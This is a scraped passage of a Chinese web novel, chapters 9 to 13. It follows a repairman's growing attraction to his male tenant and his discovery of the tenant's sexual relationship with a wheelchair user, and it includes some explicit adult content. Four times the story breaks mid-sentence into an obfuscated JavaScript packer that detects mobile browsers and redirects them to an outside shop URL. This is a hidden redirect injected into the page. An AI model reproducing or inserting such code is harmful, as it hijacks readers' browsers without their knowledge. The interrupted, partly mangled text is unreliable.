陆柏安从楼道阴影里收回目光,低头瞥了眼手里圆滚滚的橘子,扯了一瓣塞进嘴里,牙齿咬破果皮的瞬间,清香的汁水瞬间在舌尖炸开。 他不由拧了下眉。 嘶,好甜。 9. 9 陆柏安囫囵吞枣地咽下了整个橘子,另一个没动,回家后随手搁在了客厅茶几上。几天过去,表皮渐渐失了鲜亮也没想起吃。 这天中午,他先去了躺隔壁楼帮张大爷修冰箱,老冰箱压缩机烧了,拆壳、换零件、调试,忙到下午才回店。没歇一会儿又接了两个活,一台录音机和一个老闹钟。 到了方桃放学时间,她一进门就把两张试卷拍在柜台上:“陆叔叔,95分!” 陆柏安扫了眼试卷上的红勾,爽快地掏出手机递过去。小丫头才五年级,还没自己的手机,早跟他约好了,周测数学语文两科都考90分以上就能借手机玩会儿。 方桃一屁股坐在他旁边的小板凳上,手指飞快解锁。 只是今天有点不一样,手机里反复循环着同一支舞蹈视频。 “小小的一片云啊,慢慢地走过来……” 陆柏安问她怎么一直放这个。 方桃头也不抬,跟着旋律轻轻晃腿:“明天六一儿童节我要上台表演这个舞,得多熟悉熟悉动作,不然忘词忘动作就糗啦。” 陆柏安不当儿童好多年,对他来说,六一不过是日历撕到六月的第一天,和其他三百六十四天没什么两样。 于是他只干巴巴接了句:“哦,好好表演。” 直到日头西斜,方桃回家了,他才把修好的物件归置好,“哗啦”一声拉下卷帘门。刚转身电话就响了,屏幕上跳着林小满的名字。 “老陆!快过来铁子这儿搓两把!三缺一就等你了。” 百乐街中段有个老铁棋牌室,是这条街上老少爷们闲时扎堆的地方,输赢不大,大多是熟人凑局图个消遣,陆柏安没事时也爱去玩两把。 他看了眼时间,不算太晚。手机一收,脚步一转,往棋牌室的方向走去。 没走几分钟,就到了老铁棋牌室门口,门帘一掀,里面的喧闹声瞬间涌了出来,林小满一眼就瞥见了他,抬手使劲挥:“老陆!这儿这儿!” 林小满坐在最里面那张桌前,旁边坐着两个男人,一个圆脸笑眼,正是老铁棋牌室的老板铁三星,见陆柏安进来笑着招呼:“可算把你盼来了,再不来我们仨都得换斗地主了。” 另一个男人留着利落的板寸,左胳膊上纹着一条张牙舞爪的巨蟒,鳞片栩栩如生,是旁边纹身店的老板施泽。他抬眼扫了陆柏安一下,微微颔首算是打招呼。 陆柏安走过去拉了把椅子坐下,随手把手机往桌角一放。四人手指翻飞,砌起四堵长方城的墙壁。边理牌边闲聊,说着说着就绕到张姐身上。 铁三星皱眉:“她今天又给小梅说亲去了。” 林小满惊奇:“你现在连姐都不叫了?” “又不在她面前,叫什么姐?”铁三星撇撇嘴,打出一张九筒。 陆柏安看着手里的牌,头也没抬:“说得怎么样?成了吗?” “谁知道呢。但我前两天听见小五说,幼儿园里别的小朋友都有爸爸,就他没有。” “啪”的一声,一张东风落在桌上,牌桌瞬间静了两秒。 林小满语气唏嘘:“梅姐一个人又带小五又自己开店打拼,是真不容易。小五也是可怜,那么小就没爹养。” 陆柏安抽出一张二饼打出去,淡淡道:“你要是真喜欢梅姐,就主动点,光在这儿唉声叹气有什么用?” “你以为我不想啊?”铁三星急得提高了音量,“可人家早说了,不想找比自己小的。我要是真捅破了这层窗户纸,她要是不同意,以后街坊邻里低头不见抬头见,多尴尬?连朋友都没得做。” “才十岁而已,又没差多少。”林小满摸到一张红中,喜滋滋扣下,转头问陆柏安,“感情到位了啥都不是事儿,是吧老陆?” 陆柏安刚凑齐一副顺子,闻言漫不经心地应了声:“嗯。” 林小满又转向旁边一直默不作声的施泽,对方正盯着手里的牌沉思,林小满推了推他:“是吧老施?” 施泽沉默了片刻,不知道在想些什么,半晌才低声应道:“嗯。” 铁三星哎了一声:“我还是找个时间跟张姐说声,别让她老给小梅瞎忙活了。” “我看张姐就是太闲了,天天催婚,催完老陆催老铁,催完老铁催老施。”林小满打出去一张三筒,被施泽碰了过去,他接着说,“今早还来我店里催呢。” “催你干嘛?你不是有对象吗?” 林小满有个女朋友,在一起很多年了,在隔壁县某个小学当语文老师。 “哪是催我,来催小梁的。” 陆柏安刚摸到张一饼,闻言抬眼,手指一顿。 “啊,”铁三星想了想,“就是你们店新来的那个员工,长得挺好看的那个?” “嗯。” “那他怎么说?” “他说没考虑过这个问题。”林小满耸耸肩,“要说不着急也能理解,我们这年龄又不算特别老,三十都还不到,可他居然说没考虑过,估计是个不婚主义?” 陆柏安指尖无意识摩挲着牌沿,眼睛落在牌面上,却像是没聚焦,不知是在琢磨什么。 突然,桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184917|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角的手机“叮”地响了声提示音,他没注意到,倒是坐在他下家的林小满随意一瞥,恰好看到锁屏界面弹出的消息预览,诶了一声:“小梁大晚上找你干什么?” 陆柏安神色微动,左手继续在牌列上移动,像是在思考出哪张,右手却已经摸过手机,指纹解锁。 梁知发来的消息很简短:「陆老板,现在方便吗?」 他单手打字回复:「怎么了?」 「厨房排水管堵住了。」 消息刚发来,紧跟着一条视频也弹了进来。镜头有点晃,画面里能看到水槽里积着半槽水,水流根本下不去。 陆柏安盯着屏幕,眉峰微蹙,这管道之前就堵过一次。 「是不是往里面倒残渣了?」 「没有。」 「那有没有倒过剩菜油?凉了可能会粘在管壁上堵着。」 「没有。」 「把手机凑近点对着排水管口拍,别晃。」 陆柏安的消息刚发送成功,手机屏幕突然猛地一跳,一个视频通话直接弹了进来。 麻将桌上的其余三人闻声目光齐刷刷扫过来,他头也没抬地起身:“我出去打个电话。” 话音落下,抓起手机就往门口走。出了棋牌室,脱离风扇的凉意,一股滚烫的热气扑面而来。 视频接通的瞬间,屏幕里映入眼帘的先是梁知的脸。厨灯昏暗,光线斜斜打在他脸上,鼻尖沁着几颗细密的汗珠,泛着冷莹莹的光。 陆柏安的视线在那张脸上顿了两秒才开口:“看一下……” 话音刚起,剩余的内容便硬生生卡在了喉咙里。 镜头晃了晃,他这才注意到,梁知领口和胸前的衣服湿了大片,棉质的料子吸饱了水后变得薄透如蝉翼,紧贴在身上。前置镜头带着模糊的朦胧感,却遮不住半透布料下隐约浮现的轮廓,冷白的肌理若隐若现,似乎还能看到两点凸起。 他没听清梁知说了什么,直到一声“陆老板”从屏幕里传来。 “嗯?”他下意识应了声。 摄像头已经切换到后置对准排水管道口,梁知在那头重复:“我说刚才试着通了下,没通开,想问问你是哪里出了问题。” “嗯。” “?” . 室内被撇下的三人刚等了两分钟就见陆柏安掀帘进来,还以为他去而复返,结果只等来一句:“你们几个玩,我先撤了。” “哎?这才刚热乎!再玩两把啊!”林小满拦他,“有急事啊?” “嗯,急事。” 10. 10 李月娥和陈福安还没回来,坐在餐桌前的陈信见梁知进了厨房就没再出来,中途还隐约听见他对着手机说了几句话,不由皱了下眉:“知知,发生什么事了?” “排水管堵了。”梁知的声音从里面传出来。 “修不好吗?” “马上有人来修。” 现在? 陈信扭头看了眼墙上的挂钟,已经八点多,窗外的天色已经暗了下来。 “维修工这个时间应该都下班了吧?” “不是维修工,是陆老板。” . 这还是陆柏安把房子租出去后第一次再踏进来,原本的窗帘换成了蓝色的棉麻款,客厅里多了许多零碎的物件,处处都是陌生的生活痕迹。而最显眼的,莫过于站在门口的身影。 梁知开门时嘴角微微抿着,带着点歉意,额前的碎发被他下意识地微微往上撩,露出光洁饱满的额头,几缕没撩稳的发丝垂在眉前。 陆柏安的目光下意识往下落,对方身上的衣服还湿着,没有了手机屏幕的遮挡,那片湿痕愈发清晰刺眼,甚至连之前在镜头里隐约瞥见的轮廓此刻都被濡湿的布料毫无保留地勾勒出来,混着蜿蜒而下的水渍,在白T上晕出暧昧的痕迹。 “陆老板,不好意思,这么晚还麻烦你。” 陆柏安收回目光,淡淡开口:“要换鞋吗?” “不用,直接进来就好。” 陆柏安点头进门,刚走两步脚步便是一顿,他这才发现屋里并非只有梁知,餐桌旁还坐着个男人,看模样是上回搬家时那个坐在轮椅上的人,脸色苍白得近乎透明,眉眼间裹着挥之不去的病态。 梁知似乎没打算介绍,只侧身对他道:“陆老板,这边。” 陆柏安压下心底这是梁知哥哥还是弟弟的猜测,收回目光,默不作声地跟在其身后。 刚进入厨房,洗洁精的气息扑面而来。水槽里的积水还没倒掉,水面浮着一层细密的泡沫。 他弯腰蹲下身,从带来的小工具箱里拿出扳手,先对着管道接口轻轻敲了敲,又试着拧了拧螺丝,眉头不自觉地微微蹙起。 这管道以前就坏过一次,他当时只临时疏通了下,并没有彻底检修,如今看来隐患早已根深蒂固。 “是刚才坏的吗?” 话音落下,他感觉到身旁的人靠近了些。空气中除了洗洁精,瞬间多了另一股味道,是他和梁知第一次见面时就闻到过的那股香气,像是栀子花。 “嗯,刚才洗完碗放水的时候就这样了。”梁知的声音也离得极近,陆柏安感觉就跟贴他耳朵上说似的。 他蹲在原地动也没动,后背绷得笔直,因为心里门儿清,现在只要自己稍微旁边一瞥,就能近距离看见梁知那片打湿的痕迹。 这人是故意的吗,明知道自己要来还穿着件湿衣服晃悠,就不知道去换件干净的? 越想,他眉头蹙得越深。 梁知似乎察觉到了他的神色变化:“陆老板,问题很严重吗?” “嗯。”陆柏安深吸一口气,沉声道,“这一段管道老化得太厉害,光换单个配件根本没用,必须把这段管道和零件全部置换才行。我今晚没带全套备用件,没法弄,明天我去建材市场备齐材料,然后过来一次性全换了。” 到底是他自己的房子,把问题彻底解决了,省得后续反复出故障。 “你明天什么时候有空在家?” “八点之后。” 陆柏安站起身,收拾着工具箱里的工具:“那我明晚八点过来,这个水槽你们先别动,别再往里放水了。” “麻烦陆老板了。” 陆柏安摇了下头,拎起工具箱便往外走。 路过客厅时,他清晰地感觉到一束目光锁在自己身,下意识转头,正好对上那个坐在轮椅上的男人的视线,里面看不出情绪。 陆柏安朝对方微点了下头,便迅速收回目光拎着工具箱继续往外走。 梁知跟了上来:“陆老板,我送你。” “知知。” 一声轻唤突然从身后传来,正要跨出门的两人都顿住了脚步,陆柏安下意识回头。 知知? 梁知家里人是这样叫他的? 陈信接收到陆柏安投来的视线,非但没回避,反而紧紧盯着他们两人:“我有点不舒服,能给我拿点药吗?” 梁知转头看向陆柏安:“抱歉陆老板,没法送你了。” “没事。”陆柏安丢下一句“走了”,径直跨出门槛。 梁知找了药,又倒了温水喂陈信服下。两人距离隔近了,陈信这才看清面前人衣服的状况,之前对方一直待在厨房没靠近,他竟没注意到。 “知知,衣服……” 梁知刚才,就是用这副模样和那个男人待在厨房的? 他记得那个男人,是这房子的房东,搬家那天远远见过一面,梁知现在在快餐店的工作似乎也是对方介绍的。 那个男人身形挺拔,有一双有力的臂膀,搬家时他亲眼看到,对方能轻而易举地同时举起两个沉重的纸箱,且不带喘气。 陈信抿了抿唇,为数不多几根能动的手指不自觉攥紧轮椅的扶手。 梁知闻言低头看了眼身上,刚才没注意,现在才发觉湿衣服贴在身上确实不舒服,起身就要去卧室换一件。 “那个陆老板……”身后的陈信突然出声。 梁知脚步顿了一下,回头。 陈信迎上他的目光,问:“他是单身吗?” 梁知眼里闪过一丝迷茫,随即偏过头,脚步没停地往卧室走,只轻飘飘丢下一句:“不知道。” 另一边的陆柏安出了单元楼,手在口袋里摸了半天掏出根烟点燃。火星在夜色里明灭,他就这么叼着烟一步步往家走。 回到家,客厅没开灯,只有窗外漏进来的月光隐约照亮了茶几,他一眼就瞥见了那只还没动的橘子孤零零地躺在那儿。 人总易借物联想,比如现在,他盯着橘子,像是透过这层黄皮,看见了梁知递给他时的手,指甲干净,指节分明。还看见了刚才在厨房那人蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184918|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身旁时,湿衣服紧贴着身形,栀子花味直往他鼻腔里钻。 “艹。” 半晌,陆柏安把烟摁灭在烟灰缸里,猛地倒在沙发上,仰头盯着天花板,没头没脑地骂了一声。 他最近睡眠质量不太行,第二天天刚蒙蒙亮就醒了,再也睡不着,索性起身洗漱收拾了一番,便早早去了店里。 还没到地方,远远就看见梅姐从花店里边走出来,身旁还带着一小棵会行走的……树? 陆柏安以为自己没睡醒,抬手揉了揉眼睛。直到走近了,他才看清,那哪是什么树,是扮成树模样的梅小五。翠绿的布套裹着小小的身子,只在领口处露出一张圆乎乎的小脸。 “小陆早啊!”梅姐笑着打招呼,“今天六一,幼儿园搞环保时装秀,小五扮的是棵树。” “陆叔叔。”小孩迈着小短腿跑到陆柏安跟前,伸出胳膊抱住他的大腿,“你看我扮得像不像?” 陆柏安瞥了眼梅小五滑稽的装扮,扯了扯嘴角:“像。” 跟母子俩道了别后他继续往店里走,没走两步,脚步又突然一顿,目光落在面前的快餐店里。 本该在后厨忙活的梁知此刻正坐在一条小小的板凳上,身姿微微前倾。方桃蹲在他面前,小小的脑袋乖乖地低着,一双修长的手正轻柔地穿梭在他的发间。 陆柏安挑了挑眉。不用说,这肯定也是为了今儿六一儿童节的表演做准备。可怎么是梁知在给她编头发?这人还会编女孩子的辫子? “陆叔叔!”方桃最先瞥见了他。 梁知闻言,手上的动作顿了顿,抬头望过来,点了下头算是问好。 “我前两天就想编个漂亮的发型去表演啦,还专门在网上找了图呢!”方桃叽叽喳喳地说,“可惜我爸妈还有奶奶都不会编,梁哥哥说他可以试试。” 晨光落在梁知身上,给他镀上了一层柔光。他的神情格外认真,指尖小心翼翼地梳理、缠绕,生怕弄疼了方桃。 陆柏安顿了两秒,看向小丫头:“怎么他是哥哥,我是叔叔?” 方桃歪着脑袋想了想,拍了下手:“因为梁哥哥看起来美美的呀,陆叔叔你看起来酷酷的,所以叫叔叔。” “美美的叫哥哥?方桃,你语文95是不是抄来的?” 方桃被说得脸蛋一鼓:“那我叫什么?总不能叫姐姐吧。” 陆柏安眉头一蹙,还没来得及说话,就见梁知已经给方桃的发尾系上了一个粉色的小皮筋:“好了,看看喜不喜欢?” 方桃立刻举起一面手持镜子,歪着脑袋左看右看,脸上绽开笑容:“喜欢!太好看啦!谢谢梁哥哥!” 方桃很快顶着新发型蹦蹦跳跳地去学校了,店里瞬间安静下来。 直到后厨传来厨房大姐的声音:“小梁,过来洗下葱。” 梁知应了一声马上。 陆柏安倚在门框上看着他快速收拾桌上的小皮筋,沉默了几秒开口:“晚上我来找你?” 梁知手上的动作一顿,抬头看了他一眼,应了声:“嗯。” 11. 11 陆柏安的修表铺开门后陆续来了几位街坊,都是些零碎活计,换块手表电池、修修松动的眼镜框、给旧挂钟校准指针什么的,他手脚麻利,没一会儿就全处理妥当了。 看了眼时间,想起梁知租房那根排水管,便又锁了店门去了趟建材市场,顺带补了些常用的零件和一卷加厚的防水胶带。 买完东西后已经是下午,回到店里刚把工具和零件归置好,对面文具店便传来一串急促的吆喝声:“小陆!小陆!快过来看电视!” 他抬眼望去,只见方桃奶奶正扒着门框朝他挥手,文具店里围了不少人,男女老少挤在一块儿,热闹得很。 他有些纳闷地走过去,才发现大家都围着店里那台老旧的大脑袋电视机,伸长了脖子往里瞧。 “看什么呢?这么热闹。”他挤到门口,随口问道。 “哎呀,你可算来了。”方桃奶奶拉住他的胳膊使劲往里拽了拽,“咱们桃子学校搞儿童节表演,有那个……什么直什么来着?”她皱着眉头,手指在半空比划着,一时想不起那词儿。 旁边立刻有街坊搭腔:“直播!是直播!” “对对对!就是这么个玩意儿!”方桃奶奶一拍大腿,恍然大悟,“小陆快进来一块儿看看,咱们桃子可有出息了。” 陆柏安顺着众人的目光看向电视,屏幕上正播放着一群穿着统一舞蹈服的小孩,在舞台上蹦蹦跳跳,音乐欢快得很。 旁边有街坊搭话:“可不是嘛,方桃这孩子出息,听说还领舞呢,咱们这街坊邻里的,都来给她捧场!” 澜溪县地理位置偏南,才六月就闷得密不透风。一屋子人挤在文具店里,汗味、烟草味混着淡淡的文具油墨味缠在一块儿。 陆柏安下意识皱眉往后退了半步,却结结实实撞到了一个人。 他正要侧身让开,一股熟悉的气息却钻入鼻腔,回头望去,果不其然,梁知正站在他身后。顿了顿,脚步没再乱动,他就那样站在原地。 方桃奶奶突然喊了起来:“快看快看!我家桃子出来了!最前面那个!” 众人立刻齐刷刷地往前凑,陆柏安也抬眼望去,只见舞台中央,扎着小辫子的小姑娘正踮着脚尖,红裙子像朵盛开的花,脸上带着灿烂的笑容,动作舒展灵动。 电视里的音乐欢快激昂,方桃踮着脚尖旋转时,裙摆扬起一片红色的涟漪,引得满屋子人连声赞叹。 方桃奶奶笑得眼睛都眯成了一条缝,突然想起什么,颠着小脚从柜子里翻出一个铁皮糖盒,打开时“哗啦”一声,里面装满了各色水果糖。 她抓了满满一把糖递给身边的人,大家便一把一把地传着。传到陆柏安这儿时只剩两颗了,一颗裹着粉色彩纸,一颗是橘色的。 他捏起那颗粉色的,转头递向梁知。 梁知睫毛轻轻颤了颤,轻声道:“谢谢。”接糖时,两根手指不经意间蹭过,陆柏安指尖猛地蜷了一下,又飞快地松开。 梁知捏着粉色彩纸,指尖微微用力,轻轻一撕,粉色的糖块便露了出来。 他微微低头,薄唇轻启,将糖块含了进去,洁白的牙齿在唇瓣中若隐若现,轻轻咬了一下,糖块碎裂的瞬间,仿佛能听见细微的声响。 似乎察觉到旁边的注视,他微微偏过头,见陆柏安正盯着自己,礼貌地说了句:“草莓味的。” 陆柏安猛地收回目光,喉结动了动,没说话。 他又没问。 他拆开自己手里的糖,糖纸撕开的瞬间,一股浓郁的柑橘味涌了出来,他将糖块塞进嘴里,下意识磨了磨牙。 好甜,不喜欢。 草莓味,那得齁成什么样。 . 夜色渐浓,澜溪县的夏夜褪去了白日的燥热,只剩一丝残留的黏腻。 晚上八点刚过,陆柏安锁了修表铺的门,拎起白天从建材市场买回的管道配件和疏通剂朝着梁知的租房走去。 到了地方敲了敲门,里面很快传来脚步声,门“咔哒”一声打开,来人穿着件宽松的灰色短袖,头发微湿,像是刚洗过头洗过澡。 梁知侧身让他进来:“陆老板喝水吗?” 陆柏安摇头:“先修管道,早点弄完省事。” 他走进屋时,发现昨天见过的那个轮椅男人不在,客厅里倒是坐着位老妇,也是那天帮梁知搬家时见过的,想必是梁知的母亲。 “阿姨。”陆柏安朝她点点头。 “哎!陆老板来了!”李月娥脸上堆着和善的笑,“真是麻烦你了,大晚上还特意跑一趟。” “应该的。” 打完招呼,陆柏安走进厨房,弯腰凑近水槽下方,借着昏黄的灯光仔细打量了会儿老化的管道,随后从工具箱里掏出扳手和生料带。 他今天穿的是件无袖黑色背心,指尖扣住扳手用力时,紧实的肌肉随之绷紧,肱二头肌隆起一道流畅的弧度,在昏黄的灯光下泛着健康的光泽。干了没一会儿,身上沁出一层薄汗,汗珠顺着肌肉的沟壑缓缓滑落。 他隐约感觉到身旁的人轻手轻脚地出去了,依旧专注地拆解着锈迹斑斑的管道。 不知过了多久,一阵凉风突然迎面袭来。他微微偏头才发现梁知又回来了,手里还多了把印着不孕不育专科医院广告的塑料扇子。 对方微微弯腰,手腕轻转,扇叶转动带起的风恰好吹过他汗湿的额发,将几缕贴在额角的碎发吹得轻轻晃动。一边扇着风,还一边将一杯水递到他手边。 陆柏安确实渴得厉害,接过水杯仰头便喝了个精光,随后一只手将空杯子放在台面,另一只手抬起,手背随意地抹了下嘴角,便重新继续专注地拧着管道螺母。 梁知就在一旁蹲着,手里的扇子没停,狭小的厨房里,只有工具碰撞的轻响和扇叶转动的呼呼声。 直到门外传来李月娥的声音:“知知。” 梁知偏过头,应了声:“妈。” “阿信叫你,大概是要上厕所了。” 阿信? 陆柏安手上的动作没停,分了点心思琢磨,是那个坐轮椅的男人? 上厕所还要人帮忙吗? 也是,瞧那模样,腿应该是没法动的。 他听见梁知对自己说:“我先出去一会儿。”话音落下,身旁的凉意便瞬间消失了,风扇转动的声音也停了。 再次察觉到梁知回来时,先是那阵熟悉的凉风拂面而来,紧接着,又多了一道若有似无的视线落在自己身上。 他下意识回头一看,只见厨房门口,那个一脸病态的男人正坐在轮椅上目光直直地盯着他。那眼神和昨天一样,没什么明显的情绪,但当时没怎么觉得,现在却莫名让陆柏安感觉有些不舒服。 轮椅上的陈信看着水槽下方蹲着的两人。梁知正微微弯腰,手里的塑料扇子轻轻扇着,扇叶转动带起的风没一丝浪费,全准确地吹向那个穿黑色背心的男人。 而男人专注地埋着头,眉头微蹙,指尖灵活地摆弄着管道配件,黑色背心被汗水浸得发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184919|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗,后背肌肉随着动作起伏,每一寸线条都透着力量感。 过了会儿,男人头也没抬,对梁知说了句什么,声音压得有点小,听着像是让把什么工具递给他。 梁知立刻从工具箱里翻出一把钳子,捏着钳柄递了过去。 两只手短暂相触,陈信的目光在上面停顿两秒,又缓缓移到陆柏安的脸上,男人盯着管道的侧脸线条硬朗,透着股生人勿近的劲儿。 手指无意识地动了动,他眼神微微闪烁,开口唤道:“知知。” 梁知回头。 他说:“我想洗澡。” 陆柏安手里的动作猛地一顿,扳手差点从指间滑落。 洗澡? 这种事也要帮忙? 梁知脸上没什么情绪,只道:“等管道修好。” 陈信却说:“我左边小腿有点麻,你能帮我看看吗?” 梁知微微一顿,目光下意识落在陈信的左腿上。来澜溪县之前,陈信确实跟他提过自己左边小腿最近偶尔会有麻麻的感觉,有时还会伴着隐约的刺痛,似乎是复健起了效果。 他收回目光,转头对陆柏安说:“陆老板,有需要叫我,我出去一下。” 陆柏安“嗯”了一声,手里的动作没停,余光瞥见梁知走到那个轮椅男身边弯下腰,低声问了句什么。 对方微微抬着头,目光落在梁知脸上,嘴角似乎牵了牵,说了句什么。接着,梁知便推着轮椅,缓缓往卧室的方向去了。 厨房瞬间安静下来,只剩陆柏安手里工具碰撞的声响,拧着螺母的力道不自觉加重了些。 接下来的半个小时,梁知没再进过厨房。陆柏安拆旧管、清锈迹、装新件,很快就把管道彻底修好了。 收拾好工具箱起身准备告和梁知说一声,客厅里却空荡荡的没人。厕所门关着,里面隐约传来梁知母亲的声音,像是在跟人打电话。 陆柏安顿了顿,目光扫过全屋,最后落在唯一一间关着的卧室门上。他拎着工具箱走过去,抬手正要敲门,却突然顿住了,门缝里,飘出一声极轻的、带着点异样的低语,模糊不清,透着股说不出的怪异。 他下意识收回手,呼吸放轻,凑近了些。 起初,只听到断断续续的气息声,混着几句模糊的念叨。 他往缝里瞥了一眼,只看到梁知站在轮椅旁清瘦的身影,不知道在做什么。而那个陌生男人坐在轮椅上,上半身微微仰靠,被梁知的身影挡了大半,只能看到他垂在身侧的苍白的手。 陆柏安微微侧了侧身,试图看得更清楚,也想听清那声音到底是什么。 换了个角度,这一次总算看了个大概,梁知就站在那人身前,一只脚微微抬起,似乎搭在什么地方。 一句清晰的低语突然飘了出来:“知知……” 陆柏安眉头一蹙,不自觉地又往前凑了凑,肩头几乎要贴紧门板。门缝里漏进的光线突然亮了几分,将室内的景象勾勒得一清二楚,他瞳孔微微一震,瞬间僵在原地。 梁知的一只脚,正结结实实地踩在那个男人的两腿之间。 那只脚裹在浅色袜子里,脚背绷出一道浅弧,脚尖微微用力时,脚底下的裤料被压出一层深深的褶皱。 梁知眉眼淡淡的,唇线抿成一道冷硬的直线,眼睑半垂着,睫毛在眼下投出一小片阴影。 而那个轮椅男原本苍白的脸病态褪去大半,仰着头,眼神灼热,嘴唇微张,气息不稳地重复:“知知,用力点踩……” 12. 12 陈信的声音在耳边渐渐平息,梁知缓缓收回抵在他腿间的脚,垂眸伸手褪去脚上的袜子。 白皙的脚趾骨分明,在昏暗的光线下泛着冷瓷般的光泽。刚褪完整,便察觉一道灼热的视线落在皮肤上。 他抬眼望去,果然与陈信对视上,只有在这种时候,对方脸上的病气才会淡去几分,看起来与常人别无二致。 那人一瞬不瞬地看着他,喉结艰难地滚动了一下:“谢谢知知。” 梁知眉抿着唇,避开那道过于灼热的视线。 “以后不要随时随地发.情。”他顿了顿,才继续道,“这样,很讨厌。” 话里的字眼明明带着厌恶,可语调却并不强势,仍旧是一副淡淡的毫无波澜的样子,这副模样落在陈信眼里便不像是斥责,反倒像是一种嗔怪。 “好。”他露出一个微笑,声音温柔得能滴出水来,“但我知道,知知也不会真的拒绝我,对不对?” 梁知偏了下头,定定地看着他,眸色沉沉。良久,他没有说话,只是指尖在身侧悄悄蜷起,指甲无意识掐进掌心,留下几道浅浅的红痕。 他没有给陈信答案,片刻后转身出了门。扬声喊了句“陆老板”,空荡荡的屋子只传来几声回声,无人应答。 走到厨房推开门,里面早已没了人影。修好的水管静静立着,水槽里的积水已经尽数退去,只留下些许浅浅的水痕。 . 陆柏安不知道怎么回的家,等回过神来时,人已已经坐在客厅的沙发里。 烟灰缸里躺着两根燃尽的烟蒂,而他指间还夹着一根未熄的烟,长长的烟灰积了一截,烫得指尖发麻,猛地一抖,烟灰簌簌落在裤腿上。 脑子里像被按下了无休无止的循环键,刚才那一幕不受控制地反复冲撞着神经。 一般来说,关系再好的兄弟也不会做那种事。所以,那个男人,根本不是梁知的哥哥或弟弟? 那么…… 陆柏安猛地将指间的烟摁灭在烟灰缸里,力道大得几乎要将烟蒂碾碎。他喉结剧烈滚动着,心底有个声音越来越清晰:那么还能有什么原因? 瞬间,那些过往的奇怪细节尽数浮上心头,像拼图般严丝合缝凑在一起,得到了惊人的佐证。 林小满说梁知没有女朋友,不是因为他刚分了手,是因为他的另一半确实不是女人。林小满说梁知没有结婚的打算,不是因为不婚主义,是因为两个男人根本就没法结婚。 陆柏安靠在沙发背上,仰头望着天花板上昏黄的吊灯,视线渐渐失焦。片刻后,脑海突然中冒出一个念头。 原来男人和男人也可以在一起? 他不是什么老古董,也会玩智能手机,网上铺天盖地的信息看过不少,自然知道“同性恋”这三个字,也知道这世上有这样一种跨越性别的感情。可那些都太遥远了,是屏幕里的故事,是大城市的新闻,是和他无关的另一个世界。 这里是澜溪县,一个人口不到二十万的小县城。街道就那么几条,熟人一抬头就能碰见,家长里短的议论能传遍半条街。在这里,大家信奉的是男大当婚女大当嫁,是柴米油盐和传宗接代。他从未想过在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184920|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样闭塞又传统的小城里,会真的撞见这样的事。 男人和男人…… 他猛地坐直身体,指尖在手机屏幕上胡乱滑动,心急火燎地翻出和梁知的聊天记录,找其中一条语音点击播放。 “陆老板,明天可以见……啊……” 短短一句话,尾音那声压抑的轻吟,此刻听来带着一丝与之前截然不同的味道。 陆柏安又反复听了三遍,现在他可以笃定,当时梁知绝对不是一个人。 他们在做什么? 一想到那个画面,当时梁知或许也像今天这样,脸上带着惯有的平淡,任由那个看起来浑身上下没几处地方能动弹的病秧子…… 陆柏安忍不住磨了下牙齿,咬肌紧绷。 啧。 不堪入目的同性恋。 手机突然震动了一下,屏幕亮起,刚好弹出梁知的消息。 「陆老板,你回去了吗?」 陆柏安盯着那行字,等了足足几分钟才慢悠悠回复:「嗯。」 一笔100块钱的转账跳了出来,备注栏写着「谢谢」。 他皱了下眉,毫不犹豫地点了退回,附加一句:「不用。」 他是房东,没有让租客掏钱修自己房子的道理。 那边没再强求,很快又发来一条消息:「上次的桂花糕你觉得味道怎么样?」 陆柏安盯着那行字半晌,眯了眯眼,不自觉顶了下腮帮子,咬肌又开始发紧。 又要给他送糕点? 有男朋友还对别的男人这么殷勤,什么意思? 13. 13 浅琥珀色的狭长眼眸半垂着,瞳仁在灯光下泛着冷润的光,袜口松垮地堆在脚踝,踩着轮椅上男人昂扬的弧度,脚尖微微用力。 屋内光线很暗,扭曲晃动的光影在地板上投下明明灭灭的轮廓。 突然,那双眼睛毫无预兆地转了个方向,像有感应似的直直落进门缝里。 